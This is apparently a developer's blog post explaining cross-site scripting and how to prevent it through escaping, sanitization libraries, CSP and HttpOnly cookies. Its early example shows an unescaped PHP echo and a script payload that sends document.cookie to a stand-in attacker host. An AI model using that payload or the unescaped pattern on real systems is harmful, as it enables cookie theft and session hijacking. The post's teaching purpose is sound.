aslain.dev
0%
01 Hizmetler 02 Hakkımda 03 Projeler 04 Stack 05 Blog 06 İletişim
← Tüm makaleler Web Development

XSS Attack: What It Is and How to Prevent It

An XSS attack (Cross-Site Scripting) happens when an attacker injects malicious JavaScript into a web page that the victim trusts, so the code runs in their browser. Because the page is served from your domain, that code can reach session cookies, local storage, and everything the logged-in user is allowed to do. XSS has sat on OWASP's list of critical web vulnerabilities for years, yet it stems from one basic mistake: embedding user-supplied data into HTML output without controlling it.

How does an XSS attack actually work?

The trouble starts when a web application writes user input (a search term, a comment, a profile name) into HTML as-is. The browser parses everything that reaches the page and interprets tags like <script> as code to execute. That is exactly what an attacker targets: they place code, not text, into a data field.

Say a search page prints the query straight to the screen:

<p>Search result: <?= $_GET['q'] ?></p>

If the attacker sets the q parameter to:

<script>fetch('https://evil.site/c?'+document.cookie)</script>

the browser runs it as a real script and ships the user's cookies to the attacker's server. The root issue is that data meant to be shown as text is interpreted as HTML.

The difference between Reflected and Stored XSS

XSS comes in three main flavors; the two you meet most often are reflected and stored.

  • Reflected XSS: The malicious code arrives as part of the request (usually in a URL parameter) and is immediately reflected back in the server's response. It is not persistent; the victim has to click a crafted link. Phishing emails and shortened URLs are the main carriers of this type.
  • Stored XSS: The malicious code is saved to the database (for example a comment or profile field) and served to everyone who opens that page. A single injection can affect thousands of users, which makes it more dangerous than the reflected variant.
  • DOM-based XSS: The flaw lives in client-side JavaScript rather than the server; it occurs when data is written unsafely into something like innerHTML.

The foundation of defense: output escaping

The most reliable defense against XSS is to escape data when you output it, according to its context. When writing into the HTML body, critical characters are converted to harmless equivalents:

  • <&lt;
  • >&gt;
  • &&amp;
  • "&quot;

This way <script> reaches the browser as plain text on the screen rather than code. In plain PHP you do this with htmlspecialchars:

<p>Search result: <?= htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') ?></p>

The key is to escape in the right context. HTML attributes, JavaScript blocks, URLs, and CSS each require different escaping rules. Apply escaping based on where the data is headed.

Automatic escaping in modern frameworks

The good news: most modern template engines escape output by default. In Laravel's Blade engine, {{ $variable }} applies htmlspecialchars automatically; to print raw HTML you have to deliberately write {!! $variable !!}. In React, variables placed inside JSX are also escaped by default; danger only begins when you use dangerouslySetInnerHTML.

The rule that follows is clear: use raw-HTML APIs only when you truly need them and only with data you trust. Never pass user content through those paths.

When you need user HTML: sanitization

Sometimes you have to let users enter formatted content (bold text, links, lists). Escaping won't help here because you want the HTML to work. The solution is sanitization: passing the content through an allow-list of safe tags and stripping dangerous parts like <script>, onerror, and javascript:.

Don't try to write this yourself with regex; that approach is almost always bypassable. Use mature libraries:

  • DOMPurify on the client side.
  • HTML Purifier on the PHP side.

These tools run on parsers refined over years and stay updated against every known bypass technique.

Additional layers of defense

Escaping is the primary defense, but for defense in depth you can add more layers:

  • Content Security Policy (CSP): With the Content-Security-Policy header you restrict which sources scripts may load from. A policy that blocks inline scripts limits the damage even when an injection slips through.
  • HttpOnly cookies: Marking the session cookie HttpOnly means JavaScript cannot read it, making cookie-theft attacks much harder.
  • Input validation: Validating the expected format (email, number, date) on the server narrows the attack surface — but it is not a substitute for escaping.

Frequently Asked Questions

If I sanitize the input, do I still need to escape on output?

Yes, you do. Input validation is useful but not enough on its own, because the same data can be displayed in different contexts (HTML, attribute, JavaScript). Real safety comes from escaping the data by context exactly at the point where you output it.

Does using HTTPS prevent XSS?

No. HTTPS encrypts data in transit and prevents tampering on the wire, but XSS is code running inside the page itself. An encrypted connection does not stop a malicious script from executing.

I only have a static site — am I still at risk?

If you never process user input or print it anywhere, the reflected/stored XSS risk is very low. But the moment you add comments, search, or a third-party widget, the attack surface opens up.

Want to be sure your application is resilient against XSS? For help with a security review, missing escaping, and CSP configuration, get in touch with me.

Bu kategorideki tüm yazılar →

Devamı için